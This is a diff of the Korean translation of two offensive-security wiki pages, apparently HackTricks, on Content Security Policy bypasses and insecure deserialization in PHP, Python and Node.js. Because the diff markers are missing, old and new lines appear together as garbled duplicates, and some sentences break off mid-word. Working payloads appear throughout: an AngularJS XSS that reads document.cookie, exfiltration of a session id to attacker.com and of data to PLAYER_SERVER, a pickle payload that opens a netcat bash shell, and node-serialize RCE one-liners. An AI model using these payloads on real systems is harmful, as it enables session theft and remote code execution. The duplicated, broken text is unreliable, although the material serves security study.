특정 정책인 Content Security Policy (CSP)는 JavaScript 이벤트를 제한할 수 있습니다. 그럼에도 불구하고, AngularJS는 대안으로 사용자 정의 이벤트를 도입합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 객체 `$event`를 제공합니다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서는 `$event/event` 객체가 이벤트 실행 체인에 관련된 객체 배열을 보유하는 `path` 속성을 가지고 있으며, `window` 객체는 항상 끝에 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.
이 배열을 `orderBy` 필터로 전달함으로써, 이를 반복하여 터미널 요소(즉, `window` 객체)를 활용해 `alert()`와 같은 전역 함수를 호출할 수 있습니다. 아래의 코드 스니펫은 이 과정을 설명합니다:
이 배열을 `orderBy` 필터로 전달함으로써, 이를 반복(iterate)하고, 터미널 요소(즉, `window` 객체)를 활용하여 `alert()`와 같은 전역 함수를 호출할 수 있습니다. 아래의 코드 스니펫은 이 과정을 설명합니다:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
@ -393,7 +393,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
다른 JSONP 임의 실행 엔드포인트는 [**여기**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다).
다른 JSONP 임의 실행 엔드포인트는 [**여기**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다).
### 리디렉션을 통한 우회
@ -427,7 +427,7 @@ CSP가 `https://www.google.com/a/b/c/d`로 설정된 경우, 경로가 고려되
따라서 가장 좋은 해결책은 웹사이트에 열린 리디렉션 취약점이 없도록 하고 CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.
### 느슨한 마크업으로 CSP 우회
### 매달린 마크업으로 CSP 우회
[여기에서 읽어보세요](../dangling-markup-html-scriptless-injection/index.html).
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
이 구성은 **이미지 안에 삽입된 자바스크립트 코드를 로드하는** 악용될 수 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용하는 경우, **특별한 이미지**를 **제작**하여 Twitter에 **업로드**하고 "**unsafe-inline**"을 악용하여 JS 코드를 **실행**할 수 있습니다(일반적인 XSS처럼). 이 코드는 **이미지를 로드하고**, 그 안에서 **JS**를 **추출**하여 **실행**합니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
이 구성은 **이미지 안에 삽입된 자바스크립트 코드를 로드하는** 악용될 수 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용하는 경우, **특별한 이미지**를 **제작**하여 Twitter에 **업로드**하고 "**unsafe-inline**"을 악용하여 JS 코드를 **실행**할 수 있습니다(일반적인 XSS처럼). 이 코드는 **이미지를 로드하고**, 그 안에서 **JS**를 **추출**하여 **실행**합니다: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### 서비스 워커와 함께
@ -462,7 +462,7 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
#### 크롬
당신이 보낸 **매개변수**가 **정책의 선언 안에 붙여넣기** 된다면, 당신은 **정책**을 어떤 식으로든 **무용하게**드는 방식으로 **변경**할 수 있습니다. 다음의 우회 방법 중 하나로 **스크립트 'unsafe-inline'**을 **허용**할 수 있습니다:
당신이 보낸 **매개변수**가 **정책의 선언 안에 붙여넣기** 된다면, 당신은 **정책**을 어떤 식으로든 **무용하게** 수 있습니다. 다음의 우회 방법 중 하나로 **스크립트 'unsafe-inline'**을 **허용**할 수 있습니다:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -478,7 +478,7 @@ Edge에서는 훨씬 간단합니다. CSP에 단지 이것을 추가할 수 있
### img-src \*; via XSS (iframe) - 시간 공격
지시문 `'unsafe-inline'`의 부재에 주목하세요.\
이번에는 피해자가 **XSS**를 통해 **당신의 제어** 하에 있는 페이지를 **로드**하게 만들 수 있습니다. 이번에는 피해자가 정보를 추출하고자 하는 페이지에 접근하게 만들 것입니다 (**CSRF**). 페이지의 콘텐츠에 접근할 수는 없지만, 페이지가 로드되는 시간을 **제어할 수 있다면** 필요한 정보를 추출할 수 있습니다.
이번에는 피해자가 **XSS**를 통해 **당신의 제어** 하에 있는 페이지를 `<iframe>`으로 **로드**하게 만들 수 있습니다. 이번에는 정보를 추출하고자 하는 페이지에 피해자가 접근하게 만들 것입니다 (**CSRF**). 페이지의 콘텐츠에 접근할 수는 없지만, 페이지가 로드되는 시간을 **제어할 수 있다면** 필요한 정보를 추출할 수 있습니다.
이번에는 **플래그**가 추출될 것이며, SQLi를 통해 **문자가 올바르게 추측될 때마다** **응답**이 **더 많은 시간**을 소요하게 됩니다. 그러면 플래그를 추출할 수 있게 됩니다:
```html
@ -542,22 +542,14 @@ run()
```
### Via Bookmarklets
이 공격은 공격자가 **사용자가 브라우저의 북마클릿 위로 링크를 드래그 앤 드롭하도록 설득하는** 사회 공학을 포함합니다. 이 북마클릿은 **악성 자바스크립트** 코드를 포함하고 있으며, 드래그 앤 드롭되거나 클릭될 경우 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 훔칠 수 있게** 합니다.
자세한 내용은 [**원본 보고서를 여기에서 확인하세요**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서 CSP는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 우회되며, 이 CSP는 특정 JS 파일을 로드하는 것을 허용하지 않으며, 이후 **프로토타입 오염** 또는 **DOM 클러버링**을 통해 **임의의 스크립트를 로드하기 위해 다른 스크립트를 악용할 수 있게** 합니다.
**`csp`** 속성으로 **iframe의 CSP를 제한할 수 있습니다**:
이 공격은 공격자가 **사용
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한적으로 설정할 수 있었고, 그로 인해 CSTI를 방지하는 스크립트가 비활성화되어 **취약점이 악용 가능해졌습니다.**\
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트를 비활성화하여 **입력**을 제거하고 **nonce**를 허용하며 **sha**를 통해 특정 인라인 스크립트를 활성화할 수 있습니다.
[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한적으로 설정할 수 있어 CSTI를 방지하는 스크립트가 비활성화되었고, 따라서 **취약점이 악용 가능해졌습니다.**\
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트를 비활성화하여 **입력**을 제거하고 그들의 **nonce**를 허용하며 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다:
```html
<meta
http-equiv="Content-Security-Policy"
@ -568,7 +560,7 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면(아마도 CRLF 때문일 수 있음), 이를 당신의 서버를 가리키게 할 수 있습니다. 그리고 당신이 **exfiltrate**하고자 하는 **JS content**를 **`<script>`**로 감싸면, CSP에 의해 `unsafe-inline`이 허용되지 않을 가능성이 높기 때문에, 이는 **CSP 오류**를 **trigger**하고 스크립트의 일부(민감한 정보가 포함된)가 `Content-Security-Policy-Report-Only`에서 서버로 전송됩니다.
서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면(아마도 CRLF 때문일 수 있음), 이를 당신의 서버를 가리키게 할 수 있습니다. 그리고 당신이 **exfiltrate**하고자 하는 **JS content**를 **`<script>`**로 감싸면, CSP에 의해 `unsafe-inline`이 허용되지 않을 가능성이 높기 때문에, 이는 **CSP 오류**를 **유발**하고 스크립트의 일부(민감한 정보가 포함된)가 `Content-Security-Policy-Report-Only`에서 서버로 전송됩니다.
예시로 [**이 CTF writeup을 확인하세요**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -583,34 +575,34 @@ document.querySelector("DIV").innerHTML =
- 이 URL은 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션되며, 이는 CSP에 의해 **허용되지 않습니다**.
- `securitypolicyviolation` 이벤트를 수신함으로써 `blockedURI` 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 드러내어 초기 URL이 리디렉션된 비밀 도메인을 유출합니다.
Chrome 및 Firefox와 같은 브라우저가 CSP와 관련하여 iframe을 처리하는 방식이 다르다는 점은 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 유출될 수 있니다.
Chrome 및 Firefox와 같은 브라우저가 CSP와 관련하여 iframe을 처리하는 방식이 다르다는 점은 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 유출될 수 있는 가능성을 초래합니다.
또 다른 기술은 CSP 자체를 이용하여 비밀 서브도메인을 유추하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알려지지 않은 문자로 구성된 경우, CSP 지시어를 수정하여 이러한 서브도메인을 차단하거나 허용함으로써 다양한 서브도메인을 반복적으로 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP가 설정될 수 있는 방식을 보여주는 코드 조각입니다:
또 다른 기술은 CSP 자체를 이용하여 비밀 서브도메인을 유추하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알려지지 않은 문자로 구성된 경우, CSP 지시어를 수정하여 이러한 서브도메인을 차단하거나 허용함으로써 반복적으로 다른 서브도메인을 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP가 설정될 수 있는 방식을 보여주는 코드 조각입니다:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP에 의해 차단되거나 허용된 요청을 모니터링함으로써, 비밀 서브도메인에서 가능한 문자들을 좁혀 나가고, 결국 전체 URL을 밝혀낼 수 있습니다.
두 방법 모두 CSP 구현 및 브라우저에서의 동작의 미세한 차이를 이용하여, 겉보기에는 안전한 정책이 어떻게 민감한 정보를 우연히 유출할 수 있는지를 보여줍니다.
두 방법 모두 CSP 구현 및 브라우저에서의 동작의 미세한 차이를 이용하여, 겉보기에는 안전한 정책이 어떻게 의도치 않게 민감한 정보를 유출할 수 있는지를 보여줍니다.
Trick from [**here**](https://ctftime.org/writeup/29310).
[**여기**](https://ctftime.org/writeup/29310)에서의 트릭.
## CSP 우회를 위한 안전하지 않은 기술
### 너무 많은 매개변수로 인한 PHP 오류
### 너무 많은 파라미터로 인한 PHP 오류
[**이 비디오에서 언급된 마지막 기술**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 너무 많은 매개변수(1001 GET 매개변수, POST 매개변수 및 20개 이상의 파일로도 가능)를 보내면, 정의된 **`header()`**가 PHP 웹 코드에서 **전송되지 않습니다**. 이는 이로 인해 발생하는 오류 때문입니다.
[**이 비디오에서 언급된 마지막 기술**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)에 따르면, 너무 많은 파라미터(1001 GET 파라미터, POST 파라미터와 20개 이상의 파일로도 가능)를 보내면, 정의된 **`header()`**가 PHP 웹 코드에서 **전송되지 않습니다**. 이는 이로 인해 발생하는 오류 때문입니다.
### PHP 응답 버퍼 오버로드
PHP는 기본적으로 **4096** 바이트까지 응답을 **버퍼링**하는 것으로 알려져 있습니다. 따라서 PHP가 경고를 표시하는 경우, **경고 안에 충분한 데이터를 제공함으로써**, **응답**이 **CSP 헤더** **이전**에 **전송**되어 헤더가 무시됩니다.\
그런 다음, 이 기술은 기본적으로 **경고로 응답 버퍼를 채우는 것**으로 구성되어 CSP 헤더가 전송되지 않도록 합니다.
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
[**이 작성물**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)에서 아이디어를 얻었습니다.
### 오류 페이지 재작성
[**이 글**](https://blog.ssrf.kr/69)에서 보듯이, 오류 페이지(잠재적으로 CSP가 없는) 로드 및 그 내용을 재작성하여 CSP 보호를 우회하는 것이 가능했던 것으로 보입니다.
[**이 작성물**](https://blog.ssrf.kr/69)에서 CSP 보호를 우회하기 위해 오류 페이지(잠재적으로 CSP가 없는)를 로드하고 그 내용을 재작성하는 것이 가능했던 것으로 보입니다.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -625,9 +617,9 @@ SOME은 **페이지의 엔드포인트**에서 XSS(또는 매우 제한된 XSS)
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
게다가, **wordpress**는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트가 있어 **출력에 전송된 데이터**를 **반영**합니다(단, 문자, 숫자 및 점만 허용됨).
게다가, **wordpress**는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트가 있어 **출력**에 전송된 **데이터**를 **반영**합니다(단, 문자, 숫자 및 점만 허용됨).
공격자는 해당 엔드포인트를 악용하여 WordPress에 대한 **SOME 공격을 생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 안에 **임베드**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용되기 때문에** **로드**됩니다. 또한 WordPress가 설치되어 있기 때문에, 공격자는 **CSP를 우회하는** **취약한** **콜백** 엔드포인트를 통해 **SOME 공격**을 악용하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다...\
공격자는 해당 엔드포인트를 악용하여 WordPress에 대한 **SOME 공격****생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 안에 **삽입**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용되기 때문에** **로드**됩니다. 또한, WordPress가 설치되어 있기 때문에 공격자는 **CSP를 우회하는** **취약한** **콜백** 엔드포인트를 통해 **SOME 공격**을 악용하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다...\
이 공격을 수행하는 방법에 대한 더 많은 정보는 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)를 확인하세요.
## CSP Exfiltration Bypasses
@ -649,7 +641,7 @@ document.location = "https://attacker.com/?" + sessionid
```
### DNS Prefetch
페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용할 수 있도록 캐시합니다.\
페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용하기 위해 캐시합니다.\
브라우저에게 호스트 이름을 미리 해결하도록 지시할 수 있습니다: `<link rel="dns-prefetch" href="something.com">`
이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출할 수 있습니다**:

View File

@ -4,7 +4,7 @@
## Basic Information
**Serialization**은 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해되며, 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다.
**Serialization**는 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해됩니다. 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다.
**Deserialization**은 반대로 직렬화에 반하는 과정입니다. 이는 특정 형식으로 구조화된 데이터를 가져와 다시 객체로 재구성하는 것을 포함합니다.
@ -18,7 +18,7 @@ PHP에서는 직렬화 및 역직렬화 과정에서 특정 매직 메서드가
- `__wakeup`: 객체가 역직렬화될 때 호출됩니다. 이는 직렬화 중에 손실된 데이터베이스 연결을 재설정하고 다른 재초기화 작업을 수행하는 데 사용됩니다.
- `__unserialize`: 이 메서드는 객체가 역직렬화될 때 `__wakeup` 대신 호출됩니다(존재하는 경우). 이는 `__wakeup`에 비해 역직렬화 과정에 대한 더 많은 제어를 제공합니다.
- `__destruct`: 이 메서드는 객체가 파괴되기 직전이나 스크립트가 끝날 때 호출됩니다. 일반적으로 파일 핸들이나 데이터베이스 연결을 닫는 등의 정리 작업에 사용됩니다.
- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 기반한 다른 작업에 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다.
- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 합니다. 이는 파일을 읽거나 그 안의 함수 호출에 따라 다른 작업을 수행하는 데 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다.
```php
<?php
class test {
@ -74,7 +74,7 @@ This is a test<br />
*/
?>
```
결과를 보면 객체가 역직렬화될 때 **`__wakeup`** 및 **`__destruct`** 함수가 호출된다는 것을 알 수 있습니다. 여러 튜토리얼에서 **`__toString`** 함수가 일부 속성을 출력하려고 할 때 호출된다고 하지만, 현재는 **더 이상 발생하지 않는 것 같습니다**.
결과를 보면 객체가 역직렬화될 때 **`__wakeup`** 및 **`__destruct`** 함수가 호출는 것을 알 수 있습니다. 여러 튜토리얼에서 **`__toString`** 함수가 일부 속성을 출력하려고 할 때 호출된다고 하지만, 현재는 **더 이상 그렇지 않은 것 같습니다**.
> [!WARNING]
> 클래스에 구현된 경우 **`__unserialize(array $data)`** 메서드가 **`__wakeup()`** 대신 호출됩니다. 이 메서드는 직렬화된 데이터를 배열로 제공하여 객체를 역직렬화할 수 있게 해줍니다. 이 메서드를 사용하여 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다.
@ -90,7 +90,7 @@ This is a test<br />
> }
> ```
설명된 **PHP 예제 여기에서** 읽을 수 있습니다: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), 여기 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 또는 여기 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
설명된 **PHP 예제 여기에서** 읽을 수 있습니다: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), 여기 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 또는 여기 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Classes
@ -102,7 +102,7 @@ php-deserialization-+-autoload-classes.md
### 참조된 값 직렬화
어떤 이유로 값을 **직렬화된 다른 값에 대한 참조로** 직렬화하고 싶다면 다음과 같이 할 수 있습니다:
어떤 이유로 값을 **직렬화된 다른 값에 대한 참조**로 직렬화하고 싶다면 다음과 같이 할 수 있습니다:
```php
<?php
class AClass {
@ -118,8 +118,8 @@ $ser=serialize($o);
### PHPGGC (ysoserial for PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc)는 PHP 역직렬화를 악용하기 위한 페이로드를 생성하는 데 도움을 줄 수 있습니다.\
응용 프로그램의 소스 코드에서 역직렬화를 악용할 방법을 **찾을 수 없는 경우가 많습니다**. 그러나 **외부 PHP 확장의 코드를 악용할 수 있을지도 모릅니다.**\
따라서 가능하다면 서버의 `phpinfo()`를 확인하고 **인터넷에서 검색**(심지어 **PHPGGC의 가젯**에서도)하여 악용할 수 있는 가능한 가젯을 찾아보세요.
여러 경우에 **애플리케이션의 소스 코드에서 역직렬화를 악용할 방법을 찾을 수 없을 수도 있지만, 외부 PHP 확장의 코드를 악용할 수 있을 수도 있습니다.**\
따라서 가능하다면 서버의 `phpinfo()`를 확인하고 **인터넷에서 검색**(심지어 **PHPGGC의 가젯**에서도) 악용할 수 있는 가능한 가젯을 찾아보세요.
### phar:// 메타데이터 역직렬화
@ -143,9 +143,9 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```
`print(base64.b64encode(pickle.dumps(P(),2)))`를 사용하여 python3을 실행 중인 경우 python2와 호환되는 객체를 생성해 보십시오.
`print(base64.b64encode(pickle.dumps(P(),2)))`를 사용하여 python3을 실행 중인 경우 python2와 호환되는 객체를 생성해 보세요.
**pickle jails**에서 탈출하는 방법에 대한 자세한 정보는 다음을 확인하십시오:
**pickle jails**에서 탈출하는 방법에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -169,10 +169,10 @@ python-yaml-deserialization.md
### JS Magic Functions
JS는 객체를 생성하기 위해 단순히 실행되는 **"마법" 함수**가 없습니다. 그러나 **`toString`**, **`valueOf`**, **`toJSON`**과 같이 **직접 호출하지 않고도 자주 사용되는** **함수**가 있습니다.\
JS는 객체를 생성하기 위해 단순히 실행되는 **"마법" 함수**가 없습니다. 그러나 **`toString`**, **`valueOf`**, **`toJSON`**과 같이 **직접 호출하지 않고도 자주 사용되는 함수**가 있습니다.\
역직렬화를 악용하는 경우 이러한 함수를 **타협하여 다른 코드를 실행**할 수 있으며(프로토타입 오염을 악용할 가능성 있음) 호출될 때 임의의 코드를 실행할 수 있습니다.
함수를 직접 호출하지 않고 호출하는 또 다른 **"마법" 방법**은 **비동기 함수**(프라미스)에서 반환된 객체를 **타협하는 것**입니다. 왜냐하면, 그 **반환 객체**를 **"then"이라는 함수형 속성**을 가진 다른 **프라미스**로 **변환**하면, 다른 프라미스에 의해 반환되었기 때문에 **실행**됩니다. _자세한 정보는_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 따르십시오._
함수를 직접 호출하지 않고 호출하는 또 다른 **"마법" 방법**은 **비동기 함수**(프라미스)에서 반환된 객체를 **타협하는 것**입니다. 왜냐하면, 그 **반환 객체**를 **함수 유형의 "then"이라는 속성을 가진 또 다른 **프라미스**로 **변환**하면, 다른 프라미스에 의해 반환되었기 때문에 **실행**됩니다. _자세한 정보는_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 따라가세요._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -225,7 +225,7 @@ console.log("Serialized: \n" + payload_serialized)
```
예제에서 볼 수 있듯이, 함수가 직렬화될 때 `_$$ND_FUNC$$_` 플래그가 직렬화된 객체에 추가됩니다.
`node-serialize/lib/serialize.js` 파일 안에서 같은 플래그와 코드가 이를 어떻게 사용하는지 찾을 수 있습니다.
`node-serialize/lib/serialize.js` 파일 안에서 같은 플래그와 코드가 그것을 어떻게 사용하는지 찾을 수 있습니다.
![](<../../images/image (351).png>)
@ -233,9 +233,9 @@ console.log("Serialized: \n" + payload_serialized)
마지막 코드 조각에서 볼 수 있듯이, **플래그가 발견되면** `eval`이 사용되어 함수를 역직렬화하므로 기본적으로 **사용자 입력이 `eval` 함수 안에서 사용됩니다**.
하지만, **함수를 단순히 직렬화하는 것만으로는** 실행되지 않으며, 우리 예제에서 **어떤 코드가 `y.rce`를 호출해야** 하므로 이는 매우 **가능성이 낮습니다**.\
하지만, **함수를 단순히 직렬화하는 것만으로는** 그것이 실행되지 않습니다. 왜냐하면 코드의 일부가 **`y.rce`를 호출해야 하기 때문**이며, 이는 매우 **가능성이 낮습니다**.\
어쨌든, **직렬화된 객체를 수정하여** **괄호를 추가**하면 객체가 역직렬화될 때 직렬화된 함수가 자동으로 실행되도록 할 수 있습니다.\
다음 코드 조각에서 **마지막 괄호**와 `unserialize` 함수가 코드를 자동으로 실행하는 방식을 주목하세요:
다음 코드 조각에서 **마지막 괄호**와 `unserialize` 함수가 코드를 자동으로 실행하는 방법에 주목하세요:
```javascript
var serialize = require("node-serialize")
var test = {
@ -243,20 +243,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
이전에 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 **실행합니다** `eval`을 사용하여. 따라서 **코드를 자동으로 실행**하려면 **함수 생성** 부분과 마지막 괄호를 **삭제하고** 다음 예제와 같이 **JS 원라이너를 실행**하면 됩니다:
이전에 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 **실행합니다** `eval`을 사용하여. 따라서 **코드를 자동으로 실행**하려면 **함수 생성** 부분과 마지막 괄호를 **삭제하고** 다음 예제와 같이 **JS 원라이너****실행**하면 됩니다:
```javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
```
여기에서 이 취약점을 악용하는 방법에 대한 **추가 정보**를 [**찾을 수 있습니다**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/).
여기에서 이 취약점을 악용하는 방법에 대한 [**추가 정보**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)를 찾을 수 있습니다.
### [funcster](https://www.npmjs.com/package/funcster)
**funcster**의 주목할 만한 측면은 **표준 내장 객체**에 대한 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 방지되어, `console.log()` 또는 `require(something)`와 같은 명령을 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다.
**funcster**의 주목할 만한 측면은 **표준 내장 객체**에 대한 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 방지되어, `console.log()` `require(something)`와 같은 명령을 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다.
이 제한에도 불구하고, 특정 접근 방식을 통해 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 전체 접근을 복원하는 것이 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다:
이 제한에도 불구하고, 특정 접근 방식을 통해 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 완전한 접근을 복원하는 것이 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다:
```javascript
funcster = require("funcster")
//Serialization
@ -278,7 +278,7 @@ __js_function:
}
funcster.deepDeserialize(desertest3)
```
**자세한 정보는 이 출처를 읽세요**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
**자세한 정보는 이 출처를 읽어보세요**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
@ -288,7 +288,7 @@ function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
```
기능이 객체를 역직렬화하는 데 사용된다면 **쉽게 악용할 수 있습니다**:
함수가 객체를 역직렬화하는 데 사용된다면, 당신은 **쉽게 이를 악용할 수 있습니다**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
@ -304,7 +304,7 @@ deserialize(test)
```
**자세한 정보는 이 출처를 읽어보세요**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Cryo 라이브러리
### Cryo library
다음 페이지에서는 이 라이브러리를 악용하여 임의의 명령을 실행하는 방법에 대한 정보를 찾을 수 있습니다:
@ -313,11 +313,11 @@ deserialize(test)
## Java - HTTP
